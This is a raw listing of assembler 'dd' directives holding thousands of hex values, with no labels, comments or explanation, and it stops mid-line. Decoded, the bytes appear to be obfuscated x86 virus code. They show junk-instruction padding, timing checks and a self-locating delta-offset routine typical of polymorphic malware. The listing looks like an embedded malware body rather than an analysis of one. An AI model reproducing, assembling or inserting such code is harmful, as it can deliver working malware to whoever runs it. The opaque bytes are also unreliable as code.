9A1A0000h, 23E32F09h dd 6F34B768h, 0EE8650BDh, 28B58BDCh, 8B064BB9h, 481E35BDh dd 0F1858B06h, 0E806482Bh, 0Bh, 3CBF3487h, 667D6CA0h, 8913B226h dd 480EE585h, 0BF665B06h, 689E1BFh, 858BF88Bh, 6482385h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 52C35040h dd 0F8F2656Bh, 68C0Fh, 9D8B0000h, 6480649h, 28159509h dd 9BF0648h, 8922E4E1h, 9D230446h, 64808B9h, 52505296h dd 4258BB66h, 5F50310Fh, 505F585Ah, 5BF88B57h, 52006A96h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 3CB1C6A5h, 8C4B4752h, 91BD032Dh, 0FF06480Ch, 4BB924B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0F747CEA4h, 2CB58589h, 4E80648h, 0FF000000h dd 50001F03h, 448BFE8Bh, 890F0424h, 5, 0A9D820BBh, 8A008B5Fh dd 244489DEh, 810F6004h, 0 dd 5861D78Bh, 8B524EB3h, 482D819Dh, 858D5F06h, 64BB92Ch dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 77C35747h dd 8BBAE7F9h, 482E0DBDh, 4895006h, 10E824h, 0C4A40000h dd 91DB79B2h, 5C53926Bh, 82608308h, 0CB8024D0h, 95FF5B76h dd 6481C01h, 6A61FA8Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 5DF0C351h, 0BD162516h dd 66569831h, 0C7EE56BBh, 48242585h, 306h, 0FB8B6600h dd 83A8EB80h, 4BB92CBDh, 840F0006h, 58h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 46C35747h, 0BD03EE43h dd 6483119h, 11E78166h, 45E904h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 833B8EC3h dd 0A74A23A5h, 85891A6Ch, 6482DF1h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 28E1C356h, 59F43F9Ah, 0E95220F0h, 13h, 48683ED6h, 428156h dd 50017634h, 4440DABAh, 5B1F129Ch, 0F1958960h, 23064820h dd 480D79B5h, 0BD836106h, 6482425h, 1C850F03h, 6A000004h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 6F61C353h, 2AA481E0h, 892BB22Eh, 4800F9B5h dd 0B18D8906h, 83064824h, 4BB92CBDh, 840F0006h, 3DFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0EEC35343h, 5C042912h dd 6657C34Bh, 0D673C381h, 2CB5FF5Bh, 31064BB9h, 481D159Dh dd 3595FF06h, 6A06480Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0C2B8C356h, 527A099Fh dd 30C52A25h, 8BD98B66h, 4BB920B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0D36481A0h dd 0BA35AC7Fh, 27E9BD8Bh, 6C70648h, 10001h, 31119D8Bh dd 8B960648h, 0FE850D9h, 46000000h, 6EBA3CD9h, 0B5B91CDAh dd 13FA1377h, 5250CFCFh, 310F5250h, 310F585Ah, 5AFA8B66h dd 60965F58h, 1CBDBD29h, 8CB90648h, 614FDF0Dh, 0B92CB5FFh dd 0CB81064Bh, 62595ED1h, 1D5995FFh, 6A0648h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0B70F01C3h dd 31BD8BFFh, 8B064828h, 4BB920B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 98B23D7Bh dd 89385621h, 482569B5h, 49858B06h, 6A064810h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 3AA8C350h, 26FDBD8Bh, 86890648h, 0C4h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 5CC35646h, 22AEEDC3h dd 958B8283h, 6480A19h, 0E904C283h, 9, 4FC49FE7h, 2BE86E38h dd 20508972h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 65C35646h, 574AB34Dh, 0CE09858Dh, 6652064Bh, 0E95FFA8Bh dd 12h, 1EB2130Fh, 0E46E1C21h, 2E1D1370h, 6037BBA3h, 8689A576h dd 0B8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 9BC35141h, 0D43AE8C7h, 9D8529A6h, 6A064809h, 76F38100h dd 0FF1DEEC6h, 4BB92CB5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0E195FF6Ch dd 6A064823h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0E8FCC352h, 2820Fh, 0F88B0000h dd 1D4D9D23h, 0F500648h, 382h, 0F98B6600h, 0F9243489h dd 0B92CB5FFh, 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 7EBC3CC3h, 0C45F566Eh, 81D8D18Fh dd 46CA94D3h, 2D95FF56h, 8906480Eh, 4828299Dh, 0A1BD8306h dd 6481Ch, 10840Fh, 4DBB0000h, 50718B19h, 0C224E6BBh, 24348909h dd 0B5FFDA8Ah, 64BB92Ch, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 3C35040h, 0CE9h, 0B1E5A100h, 0DE090B81h dd 5FF8B33Bh, 0EE9F6h, 0CE980000h, 55F9DB3h, 1DFC1899h dd 0DF284C51h, 271995FFh, 6A0648h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0D7486FC3h, 0F9BD8BC9h dd 0E9064829h, 10h, 73F525FFh, 0FCD63C95h, 8A2DC1A3h, 947AE338h dd 0B92CB5FFh, 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0BC1602C3h, 11F3FB98h, 5D8D89h dd 95FF0648h, 6480B41h, 7A68CF81h, 95892152h, 6480091h dd 0CCDBD83h, 0F020648h, 2784h, 66BB6600h, 0D5858BD6h dd 0E806480Fh, 5, 0AB01F36Bh, 5FD98B8Bh, 199D9529h, 0C60648h dd 0BD89F800h, 6481D1Dh, 0E6985C7h, 648h, 81660000h, 0E95AACD7h dd 0FFFFF2D5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0EEC35646h, 878BF83Fh, 67CE04B3h, 659D89C8h, 0F064829h dd 0C18BDFB7h, 453BBF51h, 8D5F78C1h, 4832FD85h, 0EDBD8B06h dd 50064820h, 0BF665250h, 310F9385h, 0F98B6652h, 89585A5Fh dd 6A2404h, 253D9D8Bh, 6A0648h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 7FC35646h, 0E98EA6DCh, 0Ch dd 95621BDAh, 79F363F5h, 0D2514B3Ah, 6799529h, 858D0648h dd 64CA1C1h, 182D9589h, 0C0830648h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 56699C11h dd 0E1CB81B0h, 5061C71Eh, 489E4B7h, 6624BB24h, 6A2B69h dd 6ADA8Bh, 8F0Fh, 95FF0000h, 648277Dh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4CC35747h, 0FD086667h dd 20BCFE3Ch, 23419D2Bh, 80600648h, 0BE66C0C7h, 8D61EB08h dd 4B9C148Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 4BB36E2Ch, 0FFD98B66h, 53006AD1h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 9D8BCE84h, 6480E19h, 1949BD83h, 0F010648h, 0A385h, 26AF500h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 38C35545h dd 74A7A215h, 2015BD29h, 0E9500648h, 0Ch, 0DE77EA99h, 0CC25E4D9h dd 0F1844AEEh, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 8B8FC350h, 480F7DBDh dd 10E906h, 0A4410000h, 0B556D4EAh, 0B6CE257Eh, 0DA8EE952h dd 95FF7CBCh, 64823E1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0DC35545h, 3CE71B25h, 9509E308h, 6480935h dd 0E02E9h, 0E800h, 815D0000h, 4CA1CBEDh, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 3ED472DEh, 8B568C5Eh dd 0EF8166D9h, 858DA7EBh, 64B9744h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 7DC35646h, 899D8B73h, 9006482Dh dd 30E8BF66h, 9041B750h, 0D5ACD781h, 0FF645B5Bh, 35h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0CC72E633h, 0CE9h, 5E2BE400h, 18F86697h, 0C3338215h dd 2589647Ah, 0 dd 7CE8160h, 600D8D43h, 0C781CA8Bh, 0F84C5Fh, 9D296161h dd 6480A41h, 0A2D85FFh, 0BD8B0648h, 6482B7Dh, 6AFB8B66h dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 81EBACF5h, 0E9092DDFh, 8D9D8B77h, 0FF06482Fh dd 48228DB5h, 11BD8B06h, 0FF064805h, 480AA595h, 15AE906h dd 9D8B0000h, 6482955h, 0D88B00B0h, 0FE960h, 619F0000h dd 196AB0B4h, 65787B45h, 4C90EBA1h, 0D98166D9h, 0E661EAFCh dd 0CDBD8B70h, 66064800h, 5094EB81h, 0BD8B71E4h, 6481561h dd 830F613Ch, 118h, 29E59D8Bh, 0B60F0648h, 0D99D29C8h dd 0BA06482Bh, 6, 12E956h, 0D2F10000h, 1E8B4198h, 0D34CA258h dd 1394AE27h, 794B2E1h, 7D9D8B5Bh, 8B064825h, 75BD8BC1h dd 0C106482Ah, 8C0F04E8h, 8, 850F51h, 5F000000h, 66E2F766h dd 2BD8D8BFh, 0BD8B50C8h, 648151Dh, 0E9D18B5Bh, 0Ah, 24F3A009h dd 6C929A9Dh, 0CE94F57h, 1000000h, 4813D59Dh, 0A9950106h dd 8B06481Bh, 481B6585h, 3DBD8B06h, 8306481Ah, 0BF6607C0h dd 0C0834894h, 0EDBD2300h, 3B06480Ch, 28830FD0h, 60000000h dd 3890Fh, 0BF0F0000h, 0DE9C9h, 63170000h, 91134455h, 7D8247F3h dd 611BB3ACh, 53E9h, 48EB8100h, 8B7589DEh, 4820FD8Dh, 0D88B6606h dd 0F01E183h, 3B84h, 75BD8B00h, 83064819h, 4820FDA5h, 11E8FE06h dd 6E000000h, 82908114h, 471E2020h, 0C54D0F87h, 357C31D9h dd 2F95BD8Bh, 895F0648h, 481B6595h, 11E38106h, 0E9048ED2h dd 0 dd 1D89B58Dh, 6A064Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 1C6DB0C3h, 39BDCEBAh, 69B8607Bh dd 0E97BF1A8h, 13h, 0E1CD10BBh, 0BF098AA4h, 79D7F8FBh dd 99604056h, 6195922Dh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0B60AB8C3h, 200ACAB6h dd 6624B7D8h, 235FF381h, 306195FFh, 0BEB90648h, 0F8000008h dd 6AFCE183h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0FF50C353h, 0D1D69BD0h, 0FC53B661h dd 0C419D31h, 0C02B0648h, 24D9BD23h, 0D22B0648h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F8C35040h, 6097FD85h dd 232D8529h, 8B660648h, 896061CEh, 4824D18Dh, 33AD6106h dd 3E8D1C2h, 4E983D0h, 8B66F475h, 55006AF8h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 915D4D97h dd 4C3F6295h, 880Dh, 7D9D0900h, 8B064805h, 480A1995h, 3D9D3306h dd 8B06481Fh, 480F358Dh, 7C38106h, 500AEE8Eh, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 69D38058h, 28D2BB66h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 91C35141h dd 8BBEA343h, 480D159Dh, 0A5BD8306h, 64819h, 8A840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 1A2E02C3h, 0B6ACA96h, 2A01B509h, 85010648h, 6482255h dd 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0C8D92A41h, 0E780F620h, 648D8DBBh dd 6A06484Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 3377C351h, 0A5A62526h, 0B04C5968h dd 0FCDEBF0Fh, 0FE8BE1FFh, 2425BD83h, 0F000648h, 43E84h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 8322732Ch, 482425BDh, 840F0106h, 42Eh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 41C35141h, 156D0B05h dd 0BD83C885h, 6482425h, 0C9860F03h, 6A000003h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0E10CC357h, 0C7D24675h, 8529CD39h, 6480DE1h, 751CE781h dd 0BF6058C5h, 7966F3B5h, 2A41BD8Bh, 8C660648h, 47E381D9h dd 803B964Fh, 6A04E1h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 41D025C3h, 0DE9h, 0E6F25300h, 575C5053h dd 7A9539BFh, 6E90356h, 55000000h, 213FEDBAh, 0FC90AF3h dd 17084h, 8BDF8B00h, 48238585h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 85318E50h dd 6480529h, 2AC98533h, 6A0648h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 58EE4AC3h, 8B665090h dd 6A90DAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0C9C35242h, 858B608Ch, 648248Dh, 890Fh, 0E8610000h dd 4, 1F03FFh, 9E8h, 0E5076B00h, 39A9447h, 8A0F9685h, 2 dd 505FDE8Bh, 0BE960h, 3E1A0000h, 6EA6BCC4h, 1A42630Eh dd 14E8B2h, 141E0000h, 5EE902B1h, 1555FA45h, 93B167FDh dd 0B675D182h, 850F020Fh, 0 dd 448B615Bh, 0BF600424h, 71B91478h, 11E8h, 4D654C00h dd 8D574AB3h, 9061E3B5h, 7C2514A2h, 5E506FA9h, 8B6158h dd 0CE9h, 0A4F41C00h, 0B42FC4FFh, 0DE195556h, 2444898Bh dd 9D8B5804h, 6481E4Dh, 1C0195FFh, 6A0648h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 4EBF76C3h dd 29D9BD8Bh, 85890648h, 64BB92Ch, 16430BBBh, 144E94Ch dd 13E80000h, 9D000000h, 2F8C8D0Ch, 0FF5C78CCh, 22E99E4Ch dd 636F7A64h, 9D8B76ADh, 64827F1h, 24858B5Bh, 80064BB9h dd 0C770CBh, 18h, 0B928B58Bh, 858B064Bh, 6482BF1h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0D4C35141h, 14F1BD2Bh dd 6890648h, 2DB99D8Bh, 858B0648h, 6482385h, 0FDFBF0Fh dd 0B81h, 85036000h, 6482DD9h, 61C9B70Fh, 89044689h, 481B3D9Dh dd 8E95006h, 68000000h, 694B317h, 897C96F4h, 0BF662434h dd 0B5FF2B8Bh, 64BB924h, 6798589h, 4E80648h, 0FF000000h dd 0F001F03h, 1182h, 0CE900h, 4ECD0000h, 98C45ADFh, 6AD4CE73h dd 0E9500555h, 0Bh, 0CD8588A5h, 0D6586284h, 8B16EEE0h dd 0BB042444h, 23A8FAF6h, 0BB66008Bh, 44892F95h, 0D98B0424h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 33562A1Ch, 5EE37C57h, 20B58D89h, 858D0648h dd 64BB92Ch, 50FB8B66h, 50CA8B60h, 66310F52h, 585AD18Bh dd 24048961h, 7DBCCF81h, 95FF513Ah, 6481C01h, 71BF6656h dd 81615BA7h, 32838AE3h, 2585C74Ah, 3064824h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 961DC356h, 1824502Bh, 0F95BA0A1h, 15C1B529h dd 0BD830648h, 64BB92Ch, 61840F00h, 8B000000h, 481CC59Dh dd 0FE8B6606h, 6EE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 932CF6BBh, 9D0B606Fh dd 6481F11h, 0DE9h, 0EB988C00h, 43471AB9h, 37186A79h, 6061C817h dd 8B0F60h, 0FC000000h, 810F5061h, 0 dd 9D0B615Ah, 6481979h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 0FC08B00h, 389h, 0FB8B6600h, 83FBBF0Fh dd 482425BDh, 850F0306h, 474h, 21558D29h, 0BD830648h, 64BB92Ch dd 61840F00h, 8B000004h, 9E9DAh, 0D7A90000h, 54B357B0h dd 0FFAD442Fh, 4BB92CB5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0E59D8BACh dd 8106482Ch, 262A72EBh, 3595FF2Eh, 8B06480Eh, 20B58BF9h dd 6A064BB9h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 5BF9C353h, 9CB0320h, 0BB669C9Eh dd 0BD033C78h, 648234Dh, 106C7h, 0E9530001h, 0Eh, 4B932860h dd 0ED5C26A8h, 1A18D7C1h, 965BBD50h, 9E8h, 55D29C00h, 18A68EBDh dd 11E8F083h, 0AC000000h, 1C5352B0h, 24A1B4E0h, 66BBC41Bh dd 109FD304h, 5F5B5F57h, 0FA8B6650h, 0DA8B6696h, 0B92CB5FFh dd 880F064Bh, 6, 6155CB81h, 95FF13D0h, 6481D59h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 95C35040h, 663605FAh dd 0B58BDA8Bh, 64BB920h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 92C35141h, 0A799D03h, 858B0648h, 6481049h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0F8C35747h dd 5965FD8h, 9F8AEA9Ah, 2B8D8589h, 0C3810648h, 6464A51Fh dd 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 17C8B6C3h, 0BFA89A13h, 9589DA80h dd 6481F15h, 0A19958Bh, 6A0648h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 1EDDD1C3h, 104C283h dd 4818058Dh, 20508906h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0BC35242h, 0DB22D68Ah, 66F8BF0Fh, 6FCEF81h dd 0CE09858Dh, 6A064Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0BFB50C3h, 0B88689F9h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 2043C350h, 4992795Bh, 8B006A08h, 4808D9BDh dd 2CB5FF06h, 8B064BB9h, 482C699Dh, 0E195FF06h, 6A064823h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0A0C5C350h, 0A729079Fh, 85BD8B45h, 8006481Bh dd 0E896AECFh, 11h, 0D446CF14h, 0CBD3F0A2h, 398B3AB9h dd 0E6A9E549h, 9E998h, 0F4D60000h, 0CCDEE026h, 5F3E1EF9h dd 96DE8A50h, 6E9h, 803F0600h, 0FF178F5Ah, 4BB92CB5h, 6800F06h dd 29000000h, 4824518Dh, 48B0F06h, 66000000h, 0FF1A62BBh dd 480E2D95h, 8378B706h, 481CA1BDh, 840F0006h, 6Fh, 0FE9h dd 86124D00h, 0DED39598h, 726135DDh, 1B6FA28Dh, 12E96050h dd 4A000000h, 0DA9DE491h, 80222DA9h, 6BAC7527h, 0C3F5F52Fh dd 34896114h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0ED1DA093h, 8B0F2298h, 17h, 0BE8h dd 0CC306800h, 7FEE3B8Bh, 26D11511h, 13D59D8Bh, 0FF5B0648h dd 4BB92CB5h, 6850F06h, 81000000h, 9F23C6CBh, 61858915h dd 0FF064821h, 48271995h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B5FFF5E0h dd 64BB92Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 6FC35242h, 0BD8B5CDDh, 6482479h, 0C91BD8Bh, 95FF0648h dd 6480B41h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0D3C35646h, 0F6DFDAC3h, 0D3560A58h, 2C9D9D29h dd 0BD830648h, 6480CCDh, 4C840F02h, 0E9000000h, 0Ah, 1607866Bh dd 0B7A50F6Fh, 0FE8A5EEBh, 0FD5858Bh, 11B30648h, 6A0000C6h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0E83CC351h, 7, 8B181ECBh, 0BB907F67h, 0E8A54DAh dd 0C702B75Bh, 480E6985h, 6, 12E900h, 55DB0000h, 0FCF0450Ch dd 0E4F4DCB5h, 4A4914D6h, 7E11C605h, 0FFF33AE9h, 56006AFFh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 88ADD52Bh, 1100851Dh, 810F4310h, 6, 23E9BD89h, 0F600648h dd 28Ch, 815BB600h, 419E10E0h, 0C18B613Eh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0E6C35040h, 197D7190h dd 66C6F436h, 8D3357BBh, 4832FD85h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 85A9B54h, 8B666621h dd 800F50F8h, 6, 8B0Fh, 4890000h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 6A5B562Eh dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 6DF23813h, 7E860h, 0CD030000h, 78AB6022h dd 0CB8B66B5h, 0AD8D895Bh, 61064820h, 6A006Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 22B3CDC3h, 0B204858Dh, 8D29064Ch, 6481F99h, 6850Fh dd 85890000h, 6482F71h, 8B05C083h, 482505BDh, 0CE99006h dd 0E0000000h, 65554AF9h, 35EC063Ch, 5034A5FAh, 0DBE6660h dd 6CBF6666h, 6A906142h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 661C352h, 0E3D5397Fh dd 6A5C41h, 0FB59D89h, 6A0648h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 53C35040h, 0A5B87AAFh, 8B58208Ah dd 480F699Dh, 7D95FF06h, 6A064827h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 78B0C351h dd 0F8F3240h, 0C86h, 6860F00h, 0F000000h, 8Eh, 0B19D8B00h dd 8D064808h, 4B9C148Dh, 0CF9DBB06h, 0D1FF7AA6h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0E3C35343h, 0BD831DB7h dd 6481949h, 80850F01h, 0E9000000h, 0Dh, 6EBC4C05h, 14F9B244h dd 62D6CA0Ah, 0DD852942h, 6A064805h, 53006A02h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0C4242C21h dd 0F1B50932h, 50064804h, 489F1B3h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 8E11369Ch dd 89618912h, 48306985h, 5D8D0106h, 0FF064819h, 4823E195h dd 81BD8B06h, 0E906481Ah, 0D67h, 0E8h, 0ED815D00h, 64CB20Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 64C35747h dd 6AC6BAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 48CD81C3h, 8E6B8D85h, 0F7FB744h, 38Eh, 0F8BF0F00h dd 2B65BD0Bh, 858D0648h, 64B9744h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 93C35343h, 0E8BA485Ch dd 0Eh, 7754BB62h, 0C667EC98h, 0A71C28E3h, 0B70F49DEh dd 53505BFAh, 5FF98B66h, 8B240489h, 482CE5BDh, 35FF6406h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 88C35141h dd 8B662EEEh, 0E38166DFh, 89643D11h, 25h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 2CB7D08Bh, 68CC3FE2h, 0FFFABF0Fh, 480A2D85h, 899D8B06h dd 89064806h, 480FED9Dh, 0E9FF6A06h, 12h, 0FF240520h, 5900FD44h dd 0FE899934h, 0CD317867h, 0B5FF7778h, 6481BEDh, 0AA595FFh dd 1DE90648h, 0F000001h, 580h, 27A3BB00h, 0B028DDh, 3493D381h dd 70E60BA7h, 6359531h, 810F0648h, 6, 18A18D89h, 71E40648h dd 11E8h, 7BF10400h, 0E5B83A74h, 5F971D92h, 4F29FF1Fh dd 45BB3857h, 5B31CE07h, 830F613Ch, 0D0h, 269DBD8Bh, 0B60F0648h dd 6BAF5C8h, 0E9000000h, 0Bh, 1E094BF2h, 8D5399CEh, 1FD3F59h dd 480ACD85h, 50C18B06h, 995295Bh, 0C1064801h, 0F76604E8h dd 0F59589E2h, 2B06480Dh, 459D2BC8h, 8B064819h, 86E9D1h dd 95890000h, 64823A9h, 8858Bh, 81660000h, 83F477EFh, 0C08307C0h dd 3BF98B00h, 21830FD0h, 0E8000000h, 10h, 9B0ED60Eh, 5A891D64h dd 230E2E4Eh, 0C3EF83A5h, 5B12DF80h, 47E9h, 5FF95100h dd 0FFFF8D8Bh, 0FA8BFFFFh, 0F01E183h, 3384h, 0CB816600h dd 0BF0F6AFCh, 0FFA583FEh, 0FEFFFFFFh, 68A0F51h, 33000000h dd 4805FD9Dh, 63BF5B06h, 893150C5h, 895h, 7EB8100h, 0E9075ADBh dd 0 dd 35EFB58Dh, 6A064Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0E813CFC3h, 11h, 3A1FF4F5h, 5E511F31h dd 0FB3A89BDh, 66957DD5h, 1850F4Eh, 0F5000000h, 6A006A5Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 0F06AC350h, 0BD0968ABh, 64828E1h, 306195FFh dd 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0FFBC0C3h, 89h, 0FF2B900h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0BD89F2C3h, 6481FC5h, 6AFCE183h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0B03FC351h dd 0FCAC0D8Fh, 11E9h, 69B9E800h, 981E4BE9h, 0DC8E93BDh dd 8A30F667h, 7E843CDh, 0A9000000h, 809BEA95h, 2B5F6AA6h dd 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 6629F4CFh, 0F29982Ah, 38Fh, 0DBBF0F00h dd 90CF8166h, 6AD22B15h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0B401C353h, 6D652C10h dd 3C10BFBFh, 33AD1CF1h, 3E8D1C2h, 4E983D0h, 0E381F475h dd 778C052Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 80C35040h, 880DD27Dh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 2BD7C350h dd 3BF5FD43h, 8B80F5A0h, 480A1995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 538CEC0Fh dd 5E9h, 0B2A89700h, 0F5B1D55h, 8D8BDABFh, 6480F35h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E8C35545h, 8B5023D3h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 89F98B66h dd 